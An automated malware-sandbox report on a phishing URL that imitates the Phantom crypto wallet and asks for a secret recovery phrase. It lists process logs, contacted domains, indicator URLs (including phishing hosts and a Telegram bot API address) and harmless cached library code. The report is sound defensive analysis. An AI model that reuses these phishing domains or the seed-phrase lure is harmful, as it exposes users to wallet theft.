Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5052 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://web3test.pages.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5052 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://web3test.pages.dev/	100%	Avira URL Cloud	phishing

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://phasnw.xyz/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.19.4	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.8.1	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/style.min.css?ver=1.3	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/elementor/thumbs/logo-pze9m6xx4yad2ebcxzgbqexv4un37wkm0i5h8wri	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/swiper/css/swiper.min.css?ver=5.3.6	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/elementor/css/post-18.css?ver=1709318270	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	0%	Avira URL Cloud	safe
https://phasnw.xyz/#website	0%	Avira URL Cloud	safe
https://phasnw.xyz/?s=	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/themes/sinatra/assets/js/sinatra.min.js?ver=1.3	0%	Avira URL Cloud	safe
https://phasnw.xyz/comments/feed/	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	0%	Avira URL Cloud	safe
https://phasnw.xyz/?p=18	0%	Avira URL Cloud	safe
https://phasnw.xyz/feed/	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/themes/sinatra/assets/js/vendors/flexibility.min.js?ver=1.3	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.8.1	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/ie.min.css?ver=1.3	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-json/wp/v2/pages/18	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F&format=xml	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/elementor.min.css?ver=1.3	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/2023/07/favicon.png	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-json/	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.19.4	0%	Avira URL Cloud	safe
https://phasnw.xyz/enter/#primaryimage	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/sinatra/dynamic-styles.css?ver=1712040077	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/elementor/css/global.css?ver=1709310168	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.19.4	0%	Avira URL Cloud	safe
https://phasnw.xyz/enter/	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.	0%	Avira URL Cloud	safe
https://phasnw.xyz/	0%	Avira URL Cloud	safe
https://phasnw.xyz/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.8.1	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.19.4	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/uploads/elementor/css/post-12.css?ver=1709310167	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F	0%	Avira URL Cloud	safe
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.8.1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
web3test.pages.dev	172.66.46.238	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
www.google.com	142.250.185.228	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
phasnw.xyz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	high
https://web3test.pages.dev/	true	unknown
https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.19.4	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	chromecache_93.3.dr	false		high
https://phasnw.xyz/wp-content/uploads/elementor/thumbs/logo-pze9m6xx4yad2ebcxzgbqexv4un37wkm0i5h8wri	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://yoast.com/wordpress/plugins/seo/	chromecache_93.3.dr	false		high
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/swiper/css/swiper.min.css?ver=5.3.6	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/uploads/elementor/css/post-18.css?ver=1709318270	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/#website	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/style.min.css?ver=1.3	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_95.3.dr, chromecache_99.3.dr	false		high
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.8.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/?s=	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/themes/sinatra/assets/js/sinatra.min.js?ver=1.3	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/themes/sinatra/assets/js/vendors/flexibility.min.js?ver=1.3	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/jquery.session	chromecache_93.3.dr	false		high
https://phasnw.xyz/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/comments/feed/	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.8.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_94.3.dr	false		high
https://phasnw.xyz/?p=18	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/feed/	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://www.jsdelivr.com/using-sri-with-dynamic-files	chromecache_97.3.dr	false		high
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/ie.min.css?ver=1.3	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-json/wp/v2/pages/18	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F&format=xml	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://api.w.org/	chromecache_93.3.dr	false		high
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/uploads/2023/07/favicon.png	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/elementor.min.css?ver=1.3	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-json/	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_93.3.dr	false		high
https://getbootstrap.com/)	chromecache_95.3.dr	false		high
https://phasnw.xyz/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.19.4	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/enter/#primaryimage	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/uploads/sinatra/dynamic-styles.css?ver=1712040077	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com)	chromecache_99.3.dr	false		high
https://phasnw.xyz/wp-content/uploads/elementor/css/global.css?ver=1709310168	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_95.3.dr, chromecache_99.3.dr	false		high
https://phasnw.xyz/enter/	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.19.4	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/xmlrpc.php?rsd	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.8.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/uploads/elementor/css/post-12.css?ver=1709310167	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.19.4	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.8.1	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown
https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F	chromecache_93.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
172.66.46.238	web3test.pages.dev	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.8
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638202
Start date and time:	2025-03-14 09:50:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://web3test.pages.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@23/18@47/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.238, 172.217.16.195, 142.250.185.206, 74.125.206.84, 142.250.186.46, 172.217.18.110, 142.250.184.206, 216.58.206.46, 172.217.23.99, 142.250.186.138, 142.250.185.234, 216.58.206.42, 142.250.186.106, 142.250.184.234, 216.58.212.170, 172.217.18.10, 142.250.186.42, 142.250.186.170, 142.250.181.234, 142.250.184.202, 172.217.18.106, 172.217.16.138, 216.58.206.74, 142.250.186.74, 172.217.16.202, 142.250.186.174, 172.217.16.206, 216.58.206.78, 142.250.186.131, 142.250.185.110, 142.250.186.110, 23.199.214.10, 4.245.163.56, 150.171.28.10, 95.101.170.202
Excluded domains from analysis (whitelisted): www.bing.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ajax.googleapis.com, clientservices.googleapis.com, g.bing.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://web3test.pages.dev/

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	123129
Entropy (8bit):	5.383360992478281
Encrypted:	false
SSDEEP:	768:yD0DiDXDEDLBDNKDGDmDGX5mHLUNhtNNQytALLNamG4lDYVLaNLf//+MfuLhNUYA:LOn0tyjYJ0VSb4R+3Et
MD5:	4F8061E0FCE12006835DDF89AC548B25
SHA1:	7DFE5E66BB79D2F233A143723C38F831E513D454
SHA-256:	0DE5CB83E2089A541B21FCCB38B6CC47E3D70F7A6C70ACE74D94236104834165
SHA-512:	D2433A0AC69BEFF744FD1B085913A09E515832482BE0B6F0F6F27CCC38B7189B54069D18ABC0AE34385CBD962C3C593F4550C28A757A760894F62D130041ACC0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.5
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (502)
Category:	downloaded
Size (bytes):	80196
Entropy (8bit):	4.110903349181155
Encrypted:	false
SSDEEP:	768:Zb2roj3q1t+rIIWi1Ke1uLIzR6T6x42WX20G0ac62a:ZFrW87cK6WmjX7ac62a
MD5:	170F0284F432E0EAC4A36E9F4F43DC0A
SHA1:	B0175A8296100458719BF27E9DCFE36E2F8D9874
SHA-256:	E300720FAFCE1D14CC8AB6C20163FD8AD67B80DE4269D0CAF32C6B4265E918C2
SHA-512:	08E33B0C43055F6ACA14FC20470B41735FFCD3F2B82E3AE0C14EF5EE1325B5720BA7947BFA96642262B7F63FA6CBA41B4F3820D163F8E18BEAF6FBB28DDDA560
Malicious:	false
Reputation:	low
URL:	https://web3test.pages.dev/
Preview:	<!DOCTYPE html>.<html lang="en-US">..<head>. <meta charset="UTF-8">. <meta name='robots' content='noindex, nofollow' />. <meta name="viewport" content="width=device-width, initial-scale=1">. This site is optimized with the Yoast SEO plugin v22.1 - https://yoast.com/wordpress/plugins/seo/ -->. <title>Phantom Wallet</title>. <meta property="og:locale" content="en_US" />. <meta property="og:type" content="article" />. <meta property="og:title" content="Phantom Wallet" />. <meta property="og:description" content="Secret Recovery Phrase Import an existing wallet with your12 or 24-word secret recovery phrase." />. <meta property="og:url" content="https://phasnw.xyz/enter/" />. <meta property="og:site_name" content="My Blog" />. <meta property="article:modified_time" content="2024-03-01T16:38:21+00:00" />. <meta property="og:image" content="https://phasnw.xyz/wp-content/uploads/elementor/thumbs/logo-pze9m6xx4yad2ebcxzgbqexv4un37wkm0i5h8wri6c.png" />

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
